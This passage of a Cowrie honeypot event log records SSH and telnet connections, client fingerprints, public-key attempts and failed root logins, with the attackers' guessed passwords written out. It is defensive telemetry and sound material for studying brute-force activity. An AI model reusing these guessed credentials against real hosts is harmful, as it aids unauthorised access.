langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:39.027456Z","src_ip":"220.247.224.226","session":"ba69c6183823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Flvbybcnhfnjh","message":"login attempt [root/Flvbybcnhfnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:39.949125Z","src_ip":"220.247.224.226","session":"ba69c6183823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:22:41.171867Z","src_ip":"220.247.224.226","session":"ba69c6183823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb949c996d4","protocol":"telnet","message":"New connection: 79.139.59.21:43888 (159.203.135.109:23) [session: deb949c996d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:02.173268Z"}
{"eventid":"cowrie.session.closed","duration":120.01874089241028,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:28.501973Z","src_ip":"191.0.122.57","session":"1dd0c2d69213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3c76e0a774","protocol":"ssh","message":"New connection: 5.182.83.231:39988 (10.17.0.5:22) [session: df3c76e0a774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:36.825558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:36.830390Z","src_ip":"5.182.83.231","session":"df3c76e0a774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:36.945815Z","src_ip":"5.182.83.231","session":"df3c76e0a774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456789","message":"login attempt [root/Admin@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:37.422196Z","src_ip":"5.182.83.231","session":"df3c76e0a774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:38.537350Z","src_ip":"5.182.83.231","session":"df3c76e0a774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.45290732383728,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:48.626019Z","src_ip":"79.139.59.21","session":"deb949c996d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33010,"dst_ip":"10.17.0.5","dst_port":22,"session":"376a90fb6568","protocol":"ssh","message":"New connection: 87.251.79.125:33010 (10.17.0.5:22) [session: 376a90fb6568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:50.624065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:50.629822Z","src_ip":"87.251.79.125","session":"376a90fb6568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:50.703137Z","src_ip":"87.251.79.125","session":"376a90fb6568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1z2z3z4z5","message":"login attempt [root/z1z2z3z4z5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:51.049675Z","src_ip":"87.251.79.125","session":"376a90fb6568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:23:52.142900Z","src_ip":"87.251.79.125","session":"376a90fb6568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.95769739151001,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:01.327323Z","src_ip":"49.88.156.34","session":"bd9513110afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":19118,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccfa8bc9fefe","protocol":"ssh","message":"New connection: 220.247.224.226:19118 (10.17.0.5:22) [session: ccfa8bc9fefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:19.935728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:19.940762Z","src_ip":"220.247.224.226","session":"ccfa8bc9fefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":48480,"dst_ip":"159.203.135.109","dst_port":22,"session":"87a5964c80de","protocol":"ssh","message":"New connection: 147.45.197.250:48480 (159.203.135.109:22) [session: 87a5964c80de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:20.122566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:20.127653Z","src_ip":"147.45.197.250","session":"87a5964c80de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:20.166315Z","src_ip":"220.247.224.226","session":"ccfa8bc9fefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:20.218316Z","src_ip":"147.45.197.250","session":"87a5964c80de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sorokin","message":"login attempt [root/sorokin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:20.487352Z","src_ip":"147.45.197.250","session":"87a5964c80de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juniper123","message":"login attempt [root/juniper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:21.102208Z","src_ip":"220.247.224.226","session":"ccfa8bc9fefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:21.579694Z","src_ip":"147.45.197.250","session":"87a5964c80de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:22.328780Z","src_ip":"220.247.224.226","session":"ccfa8bc9fefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.184","src_port":48510,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8bbdec41fea","protocol":"ssh","message":"New connection: 182.253.156.184:48510 (159.203.135.109:22) [session: f8bbdec41fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:27.589617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:27.594427Z","src_ip":"182.253.156.184","session":"f8bbdec41fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:27.837417Z","src_ip":"182.253.156.184","session":"f8bbdec41fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"x","message":"login attempt [x/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:28.838192Z","src_ip":"182.253.156.184","session":"f8bbdec41fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:30.085875Z","src_ip":"182.253.156.184","session":"f8bbdec41fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.91.1","src_port":45276,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa7fadc8a917","protocol":"ssh","message":"New connection: 74.208.91.1:45276 (10.17.0.5:22) [session: aa7fadc8a917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.540264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.544660Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.578517Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:ec:e3:5d:69:dc:97:a2:57:d4:16:28:8b:94:bd:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJFErU0knx9aczQXA4IUX6iuVlNLW92MKgRGjsI3XJbIwW8zmApnDx9BtvuGgOAlV7CC8SHXD2NXWJeCgwkHrenMogJUyvvhTRCfqo6/TKolMzLa878zZ4BrmtVo9k6h5r5TW8rXAaYvYmlTtS16+hVEqa1hc9x5dftwIA5bFMtQ5njJcEiq6qb9CX+6XMYdCrpwCVBjdzZskTw+PxZCGP6/ZV5iJQGW9alCbM9NBKvh2alcM32HmclHDP//0QsRngNp1j0hNJlBxI4oV5i1cIZ6nHqhmMw3E6DuFVfJ6LjPS26FqP7xaAZVZmChQ5QO4/02E7y8ERH+Thl9xeLqNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:ec:e3:5d:69:dc:97:a2:57:d4:16:28:8b:94:bd:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.758790Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:ec:e3:5d:69:dc:97:a2:57:d4:16:28:8b:94:bd:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJFErU0knx9aczQXA4IUX6iuVlNLW92MKgRGjsI3XJbIwW8zmApnDx9BtvuGgOAlV7CC8SHXD2NXWJeCgwkHrenMogJUyvvhTRCfqo6/TKolMzLa878zZ4BrmtVo9k6h5r5TW8rXAaYvYmlTtS16+hVEqa1hc9x5dftwIA5bFMtQ5njJcEiq6qb9CX+6XMYdCrpwCVBjdzZskTw+PxZCGP6/ZV5iJQGW9alCbM9NBKvh2alcM32HmclHDP//0QsRngNp1j0hNJlBxI4oV5i1cIZ6nHqhmMw3E6DuFVfJ6LjPS26FqP7xaAZVZmChQ5QO4/02E7y8ERH+Thl9xeLqNQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.762724Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:ff:33:cd:a7:73:db:e5:10:e1:72:54:99:6d:d3:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hU3TVURknpMhrYavlp6R2wWRb1MhtAV4HTJG5p583Yd2Z99UIoXE37ZGIHgIC50fnF+iA0clAAd3AixkNHjtKsAM0agHiU+bAkW1eEnMItb8r60MbbgWIYbeFz7aEDBr8S2na4b7Bs2606AtW4ODqwMsljBql4As3Tz1XVUsTKGw0OAzDivhIvMbmirVX/DaXfa6zfMQh0k1z3iqfDwm/mqv51ZW6Mc1UGA0mF0a2SL28eiMi34W1eAewxYIaT7YTSR1f3uCo6l0EFMNSzf4gQGm3YG5jO3917q69q/e3eW0oayYPjNUR7/Ck/VYiwpVLJ5cMryUvLV/EexuLAnf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:ff:33:cd:a7:73:db:e5:10:e1:72:54:99:6d:d3:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.800416Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:ff:33:cd:a7:73:db:e5:10:e1:72:54:99:6d:d3:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hU3TVURknpMhrYavlp6R2wWRb1MhtAV4HTJG5p583Yd2Z99UIoXE37ZGIHgIC50fnF+iA0clAAd3AixkNHjtKsAM0agHiU+bAkW1eEnMItb8r60MbbgWIYbeFz7aEDBr8S2na4b7Bs2606AtW4ODqwMsljBql4As3Tz1XVUsTKGw0OAzDivhIvMbmirVX/DaXfa6zfMQh0k1z3iqfDwm/mqv51ZW6Mc1UGA0mF0a2SL28eiMi34W1eAewxYIaT7YTSR1f3uCo6l0EFMNSzf4gQGm3YG5jO3917q69q/e3eW0oayYPjNUR7/Ck/VYiwpVLJ5cMryUvLV/EexuLAnf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.803970Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:5f:8e:1d:1e:ec:90:b9:de:49:94:f6:c2:16:bd:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCcfwf220U28hlV1NmFqRnnsYKgo8534y05NDOJY+Uj4sQ3f/amC6yXWEAqmt8w+RX55QWGZjiE/Z7DGcTS320aPHvylO1/wKyVsFngTEl/IfPxRBRcaz3wP9jWidP+nK/WhhOapiyLtPiIpK0g0CBBPwrp1N7NZ13J9tLVgULRzULTiyShV51LAOV3VpFAg/xOpXDsGfiWxjJ4Aim18t9mVt/bqE7WDIwsMWxLaF7aInM8y28oGjW8IwSg8A7qz36zyMENLEHTyDNDdMOe7GV7SQB2CLdGy1blmFt/C7m5URjwRAe/vQFjfmf8hcXuScyvltexuBaKzdkIIq07C+zjuvHsQBHJlR9rnHilZ8Bci5/4v9EJHnp6lIW4iuYyNZA2srIgL8Bkm17DHb5HR/HJLp68krPTL0A8KtcYCJhT4r0XQo/ESp7umWbt/r7C/OrnH75aVEGpyzpWx4qlvk3iena+Yxu8KK27touFKfEkJS75Q/v6N8NCwAAPgOaa+sv0KKU1TJ4KzJPGfVDcOAsWGFv0DhSDymTzGzB+fcSslM6pGi6tqwZl5g+s3AWV00OElnxvTKCZ0juCSYQkpKGuGAqcGlhowXIAGLe6Dqv8InN8Cx8SXOQV2xmKZYfzzToOXEDVIPsYImFl1aNBOztULx4mYW9ASoWZeIerM9TOXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:5f:8e:1d:1e:ec:90:b9:de:49:94:f6:c2:16:bd:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:24:47.839351Z","src_ip":"74.208.91.1","session":"aa7fadc8a917","protocol":"ssh"}
